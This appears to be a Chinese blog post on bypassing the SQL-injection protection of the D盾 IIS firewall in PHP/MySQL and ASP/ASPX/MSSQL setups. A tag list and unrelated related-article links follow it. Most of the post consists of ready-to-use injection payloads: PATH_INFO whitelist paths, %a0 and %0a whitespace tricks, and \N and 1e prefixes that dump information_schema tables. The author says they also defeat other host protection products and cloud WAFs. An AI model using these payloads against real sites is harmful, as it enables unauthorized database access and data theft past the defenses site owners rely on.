0X01 前言

D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路:
a、白名单 b、绕过union select或select from的检测
0X02 IIS+PHP+MYSQL
搭建这个window2003+IIS+php+mysql,可花费不少时间,测试过程还蛮顺利的,先来一张拦截图:
绕过姿势一:白名单
PHP中的PATH_INFO问题,简单来说呢,就是
http:/x.x.x.x/3.php?id=1 等价于 http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1
从白名单中随便挑个地址加在后面,可成功bypass,http://10.9.10.206/3.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA
经测试,GET、POST、COOKIE均有效,完全bypass
绕过姿势二:空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;
测试了一下,基本上针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。
id=1 union%a0select 1,2,3 from admin
绕过姿势三:\N形式
主要思考问题,如何绕过union select以及select from?
如果说上一个姿势是union和select之间的位置的探索,那么是否可以考虑在union前面进行检测呢?
为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。
id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
0X03 IIS+ASP/ASPX+MSSQL
搭建IIS+ASP/ASPX+MSSQL环境,思路一致,只是语言与数据库特性有些许差异,继续来张D盾拦截图:
绕过姿势一:白名单
ASP: 不支持,找不到路径,而且D盾禁止执行带非法字符或特殊目录的脚本(/1.asp/x),撤底没戏了
/admin.php/../1.asp?id=1 and 1=1 拦截
/1.asp?b=admin.php&id=1 and 1=1 拦截,可见D盾会识别到文件的位置,并不是只检测URL存在白名单那么简单了。。。
ASPX:与PHP类似 /1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
绕过姿势二:空白字符
Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
[0x01-0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下?
ASP+MSSQL: 不支持%a0,已放弃。。。
ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测
id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
绕过姿势三:1E形式
MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。
只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES
0X04 END
不同语言,中间件,数据库,所对应的特性有些差异,思路却一致,实践出真知,只要动手去探索,还有更多姿势等待被挖掘。
目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。
有对这方面研究的童鞋,欢迎加好友交流一下姿势。
# 服务器防注入软件
# 服务器注入
# 防sql注入
# Java面试题解析之判断以及防止SQL注入
# SQL注入原理与解决方法代码示例
# 通过ibatis解决sql注入问题
# Sql注入工具_动力节点Java学院整理
# Sql注入原理简介_动力节点Java学院整理
# 寻找sql注入的网站的方法(必看)
# 分享一个简单的sql注入
# Mybatis防止sql注入的实例
# Hibernate使用中防止SQL注入的几种方案
# 有效防止SQL注入的5种方法总结
# 关于SQL注入中文件读写的方法总结
# 深入了解SQL注入
# 可以利用
# 不支持
# 都在
# 是有
# 找不到
# 可以看到
# 还有一个
# 如果说
# 均有
# 先来
# 加在
# 如下图
# 更强大
# 所对应
# 童鞋
# 近期
# 无法识别
# 博客
# http
# id
相关文章:
如何在阿里云香港服务器快速搭建网站?
建站之星北京办公室:智能建站系统与小程序生成方案解析
,制作一个手机app网站要多少钱?
最好的网站制作公司,网购哪个网站口碑最好,推荐几个?谢谢?
如何配置FTP站点权限与安全设置?
如何选择适合PHP云建站的开源框架?
如何挑选高效建站主机与优质域名?
早安海报制作网站推荐大全,企业早安海报怎么每天更换?
如何选择建站程序?包含哪些必备功能与类型?
怎么将XML数据可视化 D3.js加载XML
如何基于PHP生成高效IDC网络公司建站源码?
招商网站制作流程,网站招商广告语?
免费ppt制作网站,有没有值得推荐的免费PPT网站?
海南网站制作公司有哪些,海口网是哪家的?
如何在新浪SAE免费搭建个人博客?
Python文件管理规范_工程实践说明【指导】
宝塔新建站点为何无法访问?如何排查?
如何通过老薛主机一键快速建站?
东莞市网站制作公司有哪些,东莞找工作用什么网站好?
建站之星安装后界面空白如何解决?
c# 在ASP.NET Core中管理和取消后台任务
如何零基础开发自助建站系统?完整教程解析
,交易猫的商品怎么发布到网站上去?
网站插件制作软件免费下载,网页视频怎么下到本地插件?
如何在景安云服务器上绑定域名并配置虚拟主机?
重庆网站制作公司哪家好,重庆中考招生办官方网站?
如何通过VPS建站实现广告与增值服务盈利?
网站制作软件免费下载安装,有哪些免费下载的软件网站?
建站DNS解析失败?如何正确配置域名服务器?
建站为何优先选择香港服务器?
Swift中switch语句区间和元组模式匹配
武汉网站设计制作公司,武汉有哪些比较大的同城网站或论坛,就是里面都是武汉人的?
定制建站方案优化指南:企业官网开发与建站费用解析
如何快速搭建支持数据库操作的智能建站平台?
如何用虚拟主机快速搭建网站?详细步骤解析
详解jQuery停止动画——stop()方法的使用
建站之星微信建站一键生成小程序+多端营销系统
建站之星下载版如何获取与安装?
简易网站制作视频教程,使用记事本编写一个简单的网页html文件?
建站VPS能否同时实现高效与安全翻墙?
网站制作新手教程,新手建设一个网站需要注意些什么?
建站上传速度慢?如何优化加速网站加载效率?
制作公司内部网站有哪些,内网如何建网站?
网站规划与制作是什么,电子商务网站系统规划的内容及步骤是什么?
建站主机SSH密钥生成步骤及常见问题解答?
如何快速打造个性化非模板自助建站?
电商网站制作公司有哪些,1688网是什么意思?
Swift中swift中的switch 语句
简单实现Android文件上传
制作网站的模板软件,网站怎么建设?
*请认真填写需求信息,我们会在24小时内与您取得联系。